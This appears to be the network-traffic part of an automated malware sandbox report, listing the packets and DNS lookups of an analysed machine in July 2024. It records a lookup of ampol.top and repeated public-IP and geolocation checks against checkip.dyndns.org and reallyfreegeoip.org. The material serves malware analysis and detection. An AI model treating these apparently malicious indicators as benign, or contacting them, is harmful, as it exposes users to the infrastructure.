Jul 1, 2024 20:06:17.259850025 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:17.266534090 CEST	80	49167	193.122.6.168	192.168.2.22
Jul 1, 2024 20:06:17.267429113 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:17.267494917 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:17.275788069 CEST	80	49167	193.122.6.168	192.168.2.22
Jul 1, 2024 20:06:17.935688019 CEST	80	49167	193.122.6.168	192.168.2.22
Jul 1, 2024 20:06:18.008891106 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.008941889 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.009006977 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.019491911 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.019506931 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.147530079 CEST	80	49167	193.122.6.168	192.168.2.22
Jul 1, 2024 20:06:18.147592068 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:18.496911049 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.499934912 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.499963045 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.647788048 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.647866011 CEST	443	49168	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:18.647916079 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.648660898 CEST	49168	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:18.663167000 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:18.669704914 CEST	80	49167	193.122.6.168	192.168.2.22
Jul 1, 2024 20:06:18.669768095 CEST	49167	80	192.168.2.22	193.122.6.168
Jul 1, 2024 20:06:18.692095995 CEST	49169	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:18.697799921 CEST	80	49169	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:18.697880983 CEST	49169	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:18.697963953 CEST	49169	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:18.704257965 CEST	80	49169	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:19.171230078 CEST	80	49169	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:19.200259924 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.200311899 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.200362921 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.200817108 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.200833082 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.370568991 CEST	49169	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:19.669378042 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.672338009 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.672362089 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.815336943 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.815418959 CEST	443	49170	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:19.815762997 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.816167116 CEST	49170	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:19.852691889 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:19.857667923 CEST	80	49171	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:19.857837915 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:19.857837915 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:19.863063097 CEST	80	49171	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:21.475548983 CEST	80	49171	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:21.494718075 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:21.494752884 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:21.494820118 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:21.495157957 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:21.495171070 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:21.679397106 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:21.962382078 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:21.966178894 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:21.966198921 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:22.097337961 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:22.097443104 CEST	443	49172	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:22.097599030 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:22.098500967 CEST	49172	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:22.117233992 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.124691963 CEST	80	49171	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:22.124756098 CEST	49171	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.141630888 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.146589994 CEST	80	49173	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:22.146671057 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.146749020 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.152816057 CEST	80	49173	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:22.730767965 CEST	80	49173	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:22.757034063 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:22.757071018 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:22.757139921 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:22.757574081 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:22.757586956 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:22.942930937 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:22.948739052 CEST	80	49173	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:22.948790073 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:23.252070904 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:23.279973030 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.279999971 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:23.405853033 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:23.405946970 CEST	443	49174	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:23.405996084 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.406924963 CEST	49174	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.433624029 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:23.444365025 CEST	80	49173	158.101.44.242	192.168.2.22
Jul 1, 2024 20:06:23.444420099 CEST	49173	80	192.168.2.22	158.101.44.242
Jul 1, 2024 20:06:23.462347984 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:23.467181921 CEST	80	49175	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:23.467235088 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:23.467356920 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:23.475538969 CEST	80	49175	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:23.963009119 CEST	80	49175	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:23.990829945 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.990875959 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:23.991050959 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.991795063 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:23.991808891 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:24.175354004 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.175595045 CEST	80	49175	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:24.175776005 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.465935946 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:24.470196009 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:24.470205069 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:24.621733904 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:24.621850967 CEST	443	49176	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:24.621937990 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:24.622740984 CEST	49176	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:24.647885084 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.658638000 CEST	80	49175	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:24.661089897 CEST	49175	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.673594952 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.678556919 CEST	80	49177	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:24.681226969 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.681402922 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:24.686417103 CEST	80	49177	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:25.161417961 CEST	80	49177	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:25.180502892 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:25.180551052 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.180607080 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:25.181060076 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:25.181072950 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.375566006 CEST	80	49177	193.122.130.0	192.168.2.22
Jul 1, 2024 20:06:25.375813961 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:06:25.664083004 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.667366982 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:25.667407036 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.818545103 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.818624973 CEST	443	49178	188.114.96.3	192.168.2.22
Jul 1, 2024 20:06:25.818906069 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:06:25.820630074 CEST	49178	443	192.168.2.22	188.114.96.3
Jul 1, 2024 20:07:24.182925940 CEST	80	49169	193.122.130.0	192.168.2.22
Jul 1, 2024 20:07:24.183049917 CEST	49169	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:07:30.159924984 CEST	80	49177	193.122.130.0	192.168.2.22
Jul 1, 2024 20:07:30.159982920 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:08:05.185764074 CEST	49177	80	192.168.2.22	193.122.130.0
Jul 1, 2024 20:08:05.190711021 CEST	80	49177	193.122.130.0	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 20:06:07.536602974 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:07.550009966 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:13.596666098 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:13.605909109 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:13.833112001 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:13.839656115 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:15.521397114 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:15.534264088 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:17.129812956 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:17.151537895 CEST	53	54821	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:17.232973099 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:17.241972923 CEST	53	54719	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:17.243422031 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:17.259255886 CEST	53	54719	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:17.977180004 CEST	49881	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:17.984749079 CEST	53	49881	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:18.669584990 CEST	54998	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:18.675920010 CEST	53	54998	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:18.678231001 CEST	52781	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:18.684806108 CEST	53	52781	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:18.684961081 CEST	52781	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:18.691688061 CEST	53	52781	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:19.179575920 CEST	63926	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:19.187002897 CEST	53	63926	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:19.187179089 CEST	63926	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:19.199649096 CEST	53	63926	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:19.836941957 CEST	65510	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:19.843449116 CEST	53	65510	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:19.845614910 CEST	62672	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:19.852303028 CEST	53	62672	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:21.482923985 CEST	56475	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:21.494229078 CEST	53	56475	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:22.124891043 CEST	49384	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:22.132004976 CEST	53	49384	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:22.134511948 CEST	54842	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:22.141232967 CEST	53	54842	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:22.744748116 CEST	58105	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:22.756479979 CEST	53	58105	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:23.445455074 CEST	64928	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:23.451953888 CEST	53	64928	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:23.455499887 CEST	57390	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:23.461724043 CEST	53	57390	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:23.973303080 CEST	58095	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:23.990027905 CEST	53	58095	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:24.649343014 CEST	54261	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:24.661016941 CEST	53	54261	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:24.663788080 CEST	60507	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:24.670028925 CEST	53	60507	8.8.8.8	192.168.2.22
Jul 1, 2024 20:06:25.171133995 CEST	50446	53	192.168.2.22	8.8.8.8
Jul 1, 2024 20:06:25.179678917 CEST	53	50446	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 1, 2024 20:06:07.536602974 CEST	192.168.2.22	8.8.8.8	0xa2c2	Standard query (0)	ampol.top	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.596666098 CEST	192.168.2.22	8.8.8.8	0xae9	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.833112001 CEST	192.168.2.22	8.8.8.8	0xc115	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:15.521397114 CEST	192.168.2.22	8.8.8.8	0x31c9	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.129812956 CEST	192.168.2.22	8.8.8.8	0x23ee	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.232973099 CEST	192.168.2.22	8.8.8.8	0xcf79	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.243422031 CEST	192.168.2.22	8.8.8.8	0xcf79	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.977180004 CEST	192.168.2.22	8.8.8.8	0x7ff8	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.669584990 CEST	192.168.2.22	8.8.8.8	0x87ad	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.678231001 CEST	192.168.2.22	8.8.8.8	0xcdda	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684961081 CEST	192.168.2.22	8.8.8.8	0xcdda	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.179575920 CEST	192.168.2.22	8.8.8.8	0x3812	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.187179089 CEST	192.168.2.22	8.8.8.8	0x3812	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.836941957 CEST	192.168.2.22	8.8.8.8	0xbae3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:19.845614910 CEST	192.168.2.22	8.8.8.8	0x8a3b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:21.482923985 CEST	192.168.2.22	8.8.8.8	0x1b9e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.124891043 CEST	192.168.2.22	8.8.8.8	0xa772	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.134511948 CEST	192.168.2.22	8.8.8.8	0x9f6f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:22.744748116 CEST	192.168.2.22	8.8.8.8	0xaf1f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.445455074 CEST	192.168.2.22	8.8.8.8	0x9e69	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.455499887 CEST	192.168.2.22	8.8.8.8	0x2e18	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:23.973303080 CEST	192.168.2.22	8.8.8.8	0x4f9e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.649343014 CEST	192.168.2.22	8.8.8.8	0x41d8	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:24.663788080 CEST	192.168.2.22	8.8.8.8	0xb21a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:25.171133995 CEST	192.168.2.22	8.8.8.8	0x7a55	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 1, 2024 20:06:07.550009966 CEST	8.8.8.8	192.168.2.22	0xa2c2	No error (0)	ampol.top		104.21.53.203	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:07.550009966 CEST	8.8.8.8	192.168.2.22	0xa2c2	No error (0)	ampol.top		172.67.218.176	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.605909109 CEST	8.8.8.8	192.168.2.22	0xae9	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:13.839656115 CEST	8.8.8.8	192.168.2.22	0xc115	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:15.534264088 CEST	8.8.8.8	192.168.2.22	0x31c9	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:15.534264088 CEST	8.8.8.8	192.168.2.22	0x31c9	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.151537895 CEST	8.8.8.8	192.168.2.22	0x23ee	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.241972923 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.259255886 CEST	8.8.8.8	192.168.2.22	0xcf79	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.984749079 CEST	8.8.8.8	192.168.2.22	0x7ff8	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:17.984749079 CEST	8.8.8.8	192.168.2.22	0x7ff8	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.675920010 CEST	8.8.8.8	192.168.2.22	0x87ad	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 1, 2024 20:06:18.684806108 CEST	8.8.8.8	192.168.2.22	0xcdda	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
